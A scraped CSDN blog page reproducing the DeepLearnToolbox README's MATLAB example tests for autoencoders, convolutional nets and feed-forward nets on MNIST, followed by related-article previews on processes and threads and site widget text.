double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

什么是进程,什么是线程,什么时候用进程,什么时候用线程

什么是进程什么是线程?进程是指在系统中正在运行的一个应用程序;程序一旦运行就是进程进程可以认为是程序执行时的一个实例。进程是系统进行资源分配的独立实体, 且每个进程拥有独立的地址空间。一个进程无法直接访问另一个进程的变量和数据结构, 如果希望让一个进程访问另一个进程的资源,需要使用进程间通信,比如:管道,文件, 套接字等。一个进程可以拥有多个线程,每个线程使用其所属进程的栈空间。 线程与进程的一个...

qq_40395404的博客 1万+

线程与进程的区别?如何创建一个线程?Java中如何创建一个进程?

在操作系统中,进程是程序执行的实体。在Java中,我们可以通过多种方式创建和管理进程。了解进程的基本概念是创建和管理它们的第一步。进程是Java应用程序的重要组成部分,正确地创建和管理进程对于构建稳定和高效的应用程序至关重要。

赵KK的博客 1326

由进程创建线程,为什么进程也有一个线程号,应该如何理解?

进程是线程的集合,主线程是进程的默认线程。

weixin_52307528的博客 623

进程、线程与执行方式详解

进程是操作系统进行。

sswwsm的博客 1066

2. 进程和线程

上一篇博客,我们讲到了CPU和操作系统,今天我们讲一个操作系统中一个非常重要的概念—线程和进程。

xxhh156的博客 965

将进程变成一个线程执行代码

#include #include #pragma comment(lib,"ntdll.lib") typedef long NTSTATUS; NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection( HANDLE ProcessHandle, PVOID BaseAddress ); typedef struct _ChildProcessInfo {

1750

linux和windows一个进程最多启动多少个线程,一个线程可以包含多个进程吗

本文收集整理关于一个线程可以包含多个进程吗的相关议题,使用内容导航快速到达。内容导航:Q1:一个进程可以包含多个线程,什么线程分配给进程的主存地址空间linux下的单进程多线程的程序,要实现每个线程平均分配到多核cpu,主要有2个方法1:利用linux系统自己的线程切换机制,linux有一个服务叫做irqbalance,这个服务是linux系统自带的,默认会启动,这个服务的作用就是把多线程平均分配...

weixin_35669712的博客 2181

进程中的执行分支——线程

进程:为了并发执行任务(程序),现代操作系统才引进 进程 的概念:创建一个进程开销大:子进程需要拷贝父进程的整个地址空间:进程间的通信需要用第三方 (如:内核)P1 -> copy -> 内核 -> copy -> P2进程间通信代价或者开销也是很大的。进程的地址空间是独立,要通信的话需要用第三方的空间。于是,就有人提出能不能在 同一个(同一个进程内部)进程地址空间中进行任务的并发:线程/轻量级 进程。

LXYSDSG的博客 945

查询一个进程下面的线程数

线程是指进程内的一个执行单元,也是进程内的可调度实体. 线程是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位线程自己基本上不拥有系统资源,只拥有一点在运行中必不可少的资源(如程序计数器,一组寄存器和栈),但是它可与同属一个进程的其他的线程共享进程所拥有的全部资源.相对进程而言,线程是一个更加接近于执行体的概念,它可以与同进程中的其他线程共享数据,但拥有自己的栈空间,拥有独立的执行序列。*************** 当你发现自己的才华撑不起野心时,就请安静下来学习吧!进程至少有一个线程;

qq_43505188的博客 2035

一个进程能运行多少线程

记录瞬间。

wozijisunfly的专栏 982
上一篇: 将进程变成一个线程执行代码
下一篇: Win2K Kernel Hidden Process/Module Checker 0.1 (Proof-Of-Concept)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址